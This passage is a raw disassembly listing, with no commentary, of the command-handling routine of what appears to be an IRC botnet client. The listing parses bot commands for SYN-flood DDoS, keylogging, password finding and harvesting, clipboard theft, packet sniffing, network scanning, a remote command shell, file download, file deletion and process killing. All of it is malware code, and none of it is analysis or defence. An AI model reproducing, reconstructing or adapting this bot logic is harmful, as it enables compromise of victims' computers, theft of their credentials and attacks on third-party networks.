		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ACF
		push	edi
		push	offset aIrc_i	; "irc.i"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ACF
		push	edi
		push	offset aCom_rebewt ; "com.rebewt"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410277
		call	sub_40AC20
		test	eax, eax
		mov	eax, offset dword_4380BC
		jnz	short loc_410249
		mov	eax, offset dword_438088


loc_410249:				; CODE XREF: sub_40EE72+13D0j
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 1Ch
		jmp	loc_40F822
; ---------------------------------------------------------------------------


loc_410277:				; CODE XREF: sub_40EE72+13C2j
		push	edi
		push	offset aThreads_list ; "threads.list"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4149DE
		push	edi
		push	offset aThreads_l ; "threads.l"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4149DE
		push	edi
		push	offset aIrc_aliases ; "irc.aliases"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4149BE
		push	edi
		push	offset aIrc_al	; "irc.al"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4149BE
		push	edi
		push	offset aIrc_log	; "irc.log"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4148CB
		push	edi
		push	offset aIrc_lg	; "irc.lg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4148CB
		push	edi
		push	offset aUtil_clearlog ;	"util.clearlog"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4148B2
		push	edi
		push	offset aUtil_clg ; "util.clg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4148B2
		push	edi
		push	offset aCom_netinfo ; "com.netinfo"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414880
		push	edi
		push	offset aCom_ni	; "com.ni"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414880
		push	edi
		push	offset aDdos_supersyn ;	"ddos.supersyn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410459
		mov	edi, [ebp+esi+var_90]
		push	7Fh
		lea	eax, [ebp+var_76C]
		push	edi
		push	eax
		call	sub_418C10
		mov	eax, [ebp+esi+var_8C]
		push	7Fh
		mov	[ebp+arg_18], eax
		push	eax
		lea	eax, [ebp+var_6EC]
		push	eax
		call	sub_418C10
		mov	esi, [ebp+esi+var_88]
		push	7Fh
		lea	eax, [ebp+var_66C]
		push	esi
		push	eax
		call	sub_418C10
		push	7Fh
		lea	eax, [ebp+var_5EC]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_564], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_18]
		mov	[ebp+var_770], eax
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_437FC8
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	14h
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_770]
		push	ebx
		push	eax
		push	offset sub_401831
		push	ebx
		push	ebx
		nop
		call	near ptr 2660D4Bh
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_410448


loc_410432:				; CODE XREF: sub_40EE72+15D4j
		cmp	[ebp+var_560], ebx
		jnz	loc_41460C
		push	32h
		call	near ptr 25F0439h
		nop
		jmp	short loc_410432
; ---------------------------------------------------------------------------


loc_410448:				; CODE XREF: sub_40EE72+15BEj
		nop
		call	near ptr 2630313h
		push	eax
		push	offset unk_437F7C
		jmp	loc_413BFD
; ---------------------------------------------------------------------------


loc_410459:				; CODE XREF: sub_40EE72+14E6j
		push	edi
		push	offset aCom_sysinfo ; "com.sysinfo"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414852
		push	edi
		push	offset aCom_si	; "com.si"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414852
		push	edi
		push	offset aIrc_rem0ve ; "irc.rem0ve"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414818
		push	edi
		push	offset aIrc_rm0	; "irc.rm0"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414818
		push	edi
		push	offset aCom_procs ; "com.procs"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41470F
		push	edi
		push	offset aCom_ps	; "com.ps"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41470F
		push	edi
		push	offset aCom_harvest ; "com.harvest"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4146F1
		push	edi
		push	offset aCom_key	; "com.key"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4146F1
		push	edi
		push	offset aCom_uptime ; "com.uptime"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41466C
		push	edi
		push	offset aCom_up	; "com.up"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41466C
		push	edi
		push	offset aCom_driveinfo ;	"com.driveinfo"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41464F
		push	edi
		push	offset aCom_drv	; "com.drv"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41464F
		push	edi
		push	offset aCom_testdlls ; "com.testdlls"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414636
		push	edi
		push	offset aCom_dll	; "com.dll"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414636
		push	edi
		push	offset aCom_opencmd ; "com.opencmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4145CA
		push	edi
		push	offset aCom_ocmd ; "com.ocmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4145CA
		push	edi
		push	offset aCom_ocmd_off ; "com.ocmd.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4105D2
		push	[ebp+esi+var_90]
		push	7
		push	offset aRemoteShell ; "Remote shell"
		push	offset aCmd	; "[CMD]"
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_4105D2:				; CODE XREF: sub_40EE72+1746j
		push	edi
		push	offset aIrc_who	; "irc.who"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41065E
		cmp	[ebp+var_8], ebx
		jnz	short loc_410602
		push	ebx
		push	[ebp+var_4]
		push	offset aLoginList ; "-[Login List]-"
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h


loc_410602:				; CODE XREF: sub_40EE72+1774j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_410607:				; CODE XREF: sub_40EE72+17DBj
		cmp	[edi], bl
		lea	eax, [edi+1]
		jnz	short loc_410613
		mov	eax, offset aEmpty ; "<Empty>"


loc_410613:				; CODE XREF: sub_40EE72+179Aj
		push	eax
		push	esi
		lea	eax, [ebp+var_2DC]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 24h
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_410607
		push	offset dword_437E50


loc_410654:				; CODE XREF: sub_40EE72+5C58j
		call	sub_40BF6D
		jmp	loc_414F46
; ---------------------------------------------------------------------------


loc_41065E:				; CODE XREF: sub_40EE72+176Fj
		push	edi
		push	offset aCom_getclip ; "com.getclip"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414581
		push	edi
		push	offset aCom_gc	; "com.gc"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414581
		push	edi
		push	offset aUtil_flusharp ;	"util.flusharp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414556
		push	edi
		push	offset aUtil_farp ; "util.farp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414556
		push	edi
		push	offset aUtil_flushdns ;	"util.flushdns"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414532
		push	edi
		push	offset aUtil_fdns ; "util.fdns"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414532
		push	edi
		push	offset aRoot_currentip ; "root.currentip"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4144F5
		push	edi
		push	offset aRoot_cip ; "root.cip"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4144F5
		push	edi
		push	offset aDaemon_rlogi_0 ; "daemon.rlogin.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4143A4
		push	edi
		push	offset aDaemon_rl_on ; "daemon.rl.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4143A4
		push	edi
		push	offset aDaemon_httpd_o ; "daemon.httpd.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41422E
		push	edi
		push	offset aDaemon_web_on ;	"daemon.web.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41422E
		push	edi
		push	offset aDaemon_tftp_on ; "daemon.tftp.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4140ED
		push	edi
		push	offset aDaemon_tf_on ; "daemon.tf.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4140ED
		push	edi
		push	offset aCom_findpass ; "com.findpass"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414043
		push	edi
		push	offset aCom_fp	; "com.fp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414043
		push	edi
		push	offset aScanall	; "scanall"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D44
		push	edi
		push	offset aSa	; "sa"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D44
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aIrc_nick ; "irc.nick"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D28
		push	[ebp+arg_8]
		push	offset aIrc_n	; "irc.n"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D28
		push	[ebp+arg_8]
		push	offset aIrc_join ; "irc.join"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D05
		push	[ebp+arg_8]
		push	offset aIrc_j	; "irc.j"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D05
		push	[ebp+arg_8]
		push	offset aIrc_part ; "irc.part"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CE9
		push	[ebp+arg_8]
		push	offset aIrc_pt	; "irc.pt"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CE9
		push	[ebp+arg_8]
		push	offset aIrc_raw	; "irc.raw"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CAF
		push	[ebp+arg_8]
		push	offset aIrc_ra	; "irc.ra"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CAF
		push	[ebp+arg_8]
		push	offset aThreads_kill ; "threads.kill"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413BDD
		push	[ebp+arg_8]
		push	offset aThreads_k ; "threads.k"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413BDD
		push	[ebp+arg_8]
		push	offset aClone_quit ; "clone.quit"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413B34
		push	[ebp+arg_8]
		push	offset aClone_q	; "clone.q"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413B34
		push	[ebp+arg_8]
		push	offset aClone_rndnick ;	"clone.rndnick"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AE6
		push	[ebp+arg_8]
		push	offset aClone_rn ; "clone.rn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AE6
		push	[ebp+arg_8]
		push	offset aIrc_prefix ; "irc.prefix"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AD1
		push	[ebp+arg_8]
		push	offset aIrc_pr	; "irc.pr"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AD1
		push	[ebp+arg_8]
		push	offset aCom_open ; "com.open"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AA7
		push	[ebp+arg_8]
		push	offset aCom_o	; "com.o"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AA7
		push	[ebp+arg_8]
		push	offset aIrc_setserve ; "irc.setserve"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413A8E
		push	[ebp+arg_8]
		push	offset aIrc_se	; "irc.se"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413A8E
		push	[ebp+arg_8]
		push	offset aIrc_dns	; "irc.dns"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4139FC
		push	[ebp+arg_8]
		push	offset aIrc_dn	; "irc.dn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4139FC
		push	[ebp+arg_8]
		push	offset aCom_killprocna ; "com.killprocname"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4139D0
		push	[ebp+arg_8]
		push	offset aCom_kpn	; "com.kpn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4139D0
		push	[ebp+arg_8]
		push	offset aCom_prockillid ; "com.prockillid"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413975
		push	[ebp+arg_8]
		push	offset aCom_pkid ; "com.pkid"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413975
		push	[ebp+arg_8]
		push	offset aCom_delete ; "com.delete"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41393A
		push	[ebp+arg_8]
		push	offset aCom_del	; "com.del"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41393A
		push	[ebp+arg_8]
		push	offset aDcc_get	; "dcc.get"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413850
		push	[ebp+arg_8]
		push	offset aDcc_gt	; "dcc.gt"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413850
		push	[ebp+arg_8]
		push	offset aCom_filelist ; "com.filelist"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413832
		push	[ebp+arg_8]
		push	offset aCom_fl	; "com.fl"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413832
		push	[ebp+arg_8]
		push	offset aIrc_visit ; "irc.visit"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413751
		push	[ebp+arg_8]
		push	offset aIrc_v	; "irc.v"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413751
		push	[ebp+arg_8]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413716
		push	[ebp+arg_8]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413716
		push	[ebp+arg_8]
		push	offset aCom_cmd	; "com.cmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4136CB
		push	[ebp+arg_8]
		push	offset aCom_cm	; "com.cm"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4136CB
		push	[ebp+arg_8]
		push	offset aCom_readfile ; "com.readfile"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413645
		push	[ebp+arg_8]
		push	offset aCom_rf	; "com.rf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413645
		push	[ebp+arg_8]
		push	offset aSniff	; "sniff"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410CCC
		push	edi
		push	offset aOn	; "on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410C97
		push	19h
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jle	short loc_410BC1
		push	offset unk_437B80
		jmp	loc_410D38
; ---------------------------------------------------------------------------


loc_410BC1:				; CODE XREF: sub_40EE72+1D43j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_4F0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_464], eax
		jnz	short loc_410C03
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_43C80C
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410C03
		mov	esi, [ebp+var_8C]


loc_410C03:				; CODE XREF: sub_40EE72+1D73j
					; sub_40EE72+1D89j
		push	esi
		lea	eax, [ebp+var_4EC]
		push	80h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		lea	eax, [ebp+var_2DC]
		push	offset unk_437B40
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	19h
		push	eax
		call	sub_416D5C
		add	esp, 14h
		mov	[ebp+var_46C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F0]
		push	ebx
		push	eax
		push	offset sub_402688
		push	ebx
		push	ebx
		nop
		call	near ptr 2660D4Bh
		mov	ecx, [ebp+var_46C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_410C86


loc_410C70:				; CODE XREF: sub_40EE72+1E12j
		cmp	[ebp+var_460], ebx
		jnz	loc_410E57
		push	32h
		call	near ptr 25F0439h
		nop
		jmp	short loc_410C70
; ---------------------------------------------------------------------------


loc_410C86:				; CODE XREF: sub_40EE72+1DFCj
		nop
		call	near ptr 2630313h
		push	eax
		push	offset unk_437AF4
		jmp	loc_410E48
; ---------------------------------------------------------------------------


loc_410C97:				; CODE XREF: sub_40EE72+1D33j
		push	edi
		push	offset aOff	; "off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410E57
		push	ebx
		push	19h
		call	sub_416F57
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_410CC5
		push	eax
		push	offset unk_437AA8
		jmp	loc_410E48
; ---------------------------------------------------------------------------


loc_410CC5:				; CODE XREF: sub_40EE72+1E46j
		push	offset unk_437A70
		jmp	short loc_410D38
; ---------------------------------------------------------------------------


loc_410CCC:				; CODE XREF: sub_40EE72+1D1Ej
		push	[ebp+arg_8]
		push	offset aCom_keylog ; "com.keylog"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410E81
		push	edi
		push	offset aOn	; "on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410D4B
		push	edi
		push	offset aFile	; "file"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410D4B
		push	edi
		push	offset aOff	; "off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410E57
		push	ebx
		push	1Bh
		call	sub_416F57
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_410D33
		push	eax
		push	offset unk_437A18
		jmp	loc_410E48
; ---------------------------------------------------------------------------


loc_410D33:				; CODE XREF: sub_40EE72+1EB4j
		push	offset unk_4379DC


loc_410D38:				; CODE XREF: sub_40EE72+1D4Aj
					; sub_40EE72+1E58j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	loc_410E57
; ---------------------------------------------------------------------------


loc_410D4B:				; CODE XREF: sub_40EE72+1E80j
					; sub_40EE72+1E91j
		push	1Bh
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jle	short loc_410D5E
		push	offset unk_4379AC
		jmp	short loc_410D38
; ---------------------------------------------------------------------------


loc_410D5E:				; CODE XREF: sub_40EE72+1EE3j
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_4F0], eax
		mov	eax, [ebp+var_4]
		push	offset aFile	; "file"
		mov	[ebp+var_468], eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410D8D
		mov	[ebp+var_464], 1
		jmp	short loc_410D96
; ---------------------------------------------------------------------------


loc_410D8D:				; CODE XREF: sub_40EE72+1F0Dj
		mov	eax, [ebp+var_8]
		mov	[ebp+var_464], eax


loc_410D96:				; CODE XREF: sub_40EE72+1F19j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jnz	short loc_410DBD
		mov	esi, offset aF_0 ; "#f"
		push	offset byte_43C80C
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410DBD
		mov	esi, [ebp+var_8C]


loc_410DBD:				; CODE XREF: sub_40EE72+1F2Dj
					; sub_40EE72+1F43j
		push	esi
		lea	eax, [ebp+var_4E8]
		push	80h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		lea	eax, [ebp+var_2DC]
		push	offset unk_43797C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Bh
		push	eax
		call	sub_416D5C
		add	esp, 14h
		mov	[ebp+var_4EC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F0]
		push	ebx
		push	eax
		push	offset sub_4023A7
		push	ebx
		push	ebx
		nop
		call	near ptr 2660D4Bh
		mov	ecx, [ebp+var_4EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_410E3C


loc_410E2A:				; CODE XREF: sub_40EE72+1FC8j
		cmp	[ebp+var_460], ebx
		jnz	short loc_410E57
		push	32h
		nop
		call	near ptr 25F0439h
		jmp	short loc_410E2A
; ---------------------------------------------------------------------------


loc_410E3C:				; CODE XREF: sub_40EE72+1FB6j
		nop
		call	near ptr 2630313h
		push	eax
		push	offset unk_437930


loc_410E48:				; CODE XREF: sub_40EE72+1E20j
					; sub_40EE72+1E4Ej ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch


loc_410E57:				; CODE XREF: sub_40EE72+1E04j
					; sub_40EE72+1E34j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_40F822
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		jmp	loc_40F822
; ---------------------------------------------------------------------------


loc_410E81:				; CODE XREF: sub_40EE72+1E6Bj
		push	[ebp+arg_8]
		push	offset aCom_net	; "com.net"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_411114
		cmp	dword_43F738, ebx
		jz	short loc_410EB2
		cmp	dword_43F760, ebx
		jz	short loc_410EB2
		push	offset dword_4378E0
		jmp	loc_4110CE
; ---------------------------------------------------------------------------


loc_410EB2:				; CODE XREF: sub_40EE72+202Cj
					; sub_40EE72+2034j
		cmp	[ebp+var_C], ebx
		jz	loc_4110DC
		mov	eax, [ebp+esi+var_8C]
		mov	[ebp+arg_0], ebx
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_410EDA
		push	eax
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_410EDA:				; CODE XREF: sub_40EE72+2058j
		push	edi
		push	offset aStart	; "start"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F26
		cmp	[ebp+arg_18], ebx
		jz	short loc_410EFA
		push	[ebp+arg_0]
		push	3
		jmp	loc_410F84
; ---------------------------------------------------------------------------


loc_410EFA:				; CODE XREF: sub_40EE72+207Cj
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D9B3
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_410F1C
		push	offset dword_4378AC
		jmp	loc_4110CE
; ---------------------------------------------------------------------------


loc_410F1C:				; CODE XREF: sub_40EE72+209Ej
		push	offset dword_43787C
		jmp	loc_4110CE
; ---------------------------------------------------------------------------


loc_410F26:				; CODE XREF: sub_40EE72+2077j
		push	edi
		push	offset aStop	; "stop"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F3E
		push	[ebp+arg_0]
		push	4
		jmp	short loc_410F84
; ---------------------------------------------------------------------------


loc_410F3E:				; CODE XREF: sub_40EE72+20C3j
		push	edi
		push	offset aPause	; "pause"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F56
		push	[ebp+arg_0]
		push	5
		jmp	short loc_410F84
; ---------------------------------------------------------------------------


loc_410F56:				; CODE XREF: sub_40EE72+20DBj
		push	edi
		push	offset aContinue ; "continue"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F6E
		push	[ebp+arg_0]
		push	6
		jmp	short loc_410F84
; ---------------------------------------------------------------------------


loc_410F6E:				; CODE XREF: sub_40EE72+20F3j
		push	edi
		push	offset aDelete	; "delete"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F90
		push	[ebp+arg_0]
		push	1


loc_410F84:				; CODE XREF: sub_40EE72+2083j
					; sub_40EE72+20CAj ...
		call	sub_40D719
		pop	ecx
		pop	ecx
		jmp	loc_4110AB
; ---------------------------------------------------------------------------


loc_410F90:				; CODE XREF: sub_40EE72+210Bj
		push	edi
		push	offset aShare	; "share"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410FFB
		cmp	[ebp+arg_18], ebx
		jz	short loc_410FCE
		cmp	[ebp+var_9C4], bl
		jz	short loc_410FC1
		push	ebx
		push	[ebp+arg_18]
		push	1


loc_410FB4:				; CODE XREF: sub_40EE72+215Aj
		call	sub_40DAF0
		add	esp, 0Ch
		jmp	loc_4110AB
; ---------------------------------------------------------------------------


loc_410FC1:				; CODE XREF: sub_40EE72+213Aj
		push	[ebp+esi+var_88]
		push	[ebp+arg_18]
		push	ebx
		jmp	short loc_410FB4
; ---------------------------------------------------------------------------


loc_410FCE:				; CODE XREF: sub_40EE72+2132j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40DCE6
		add	esp, 10h
		test	eax, eax
		jz	short loc_410FF1
		push	offset dword_43782C
		jmp	loc_4110CE
; ---------------------------------------------------------------------------


loc_410FF1:				; CODE XREF: sub_40EE72+2173j
		push	offset dword_4377FC
		jmp	loc_4110CE
; ---------------------------------------------------------------------------


loc_410FFB:				; CODE XREF: sub_40EE72+212Dj
		push	edi
		push	offset aUser	; "user"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41107E
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_411057
		cmp	[ebp+var_9C4], bl
		jz	short loc_41102D
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	ebx
		push	eax
		push	1
		jmp	short loc_411047
; ---------------------------------------------------------------------------


loc_41102D:				; CODE XREF: sub_40EE72+21A7j
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
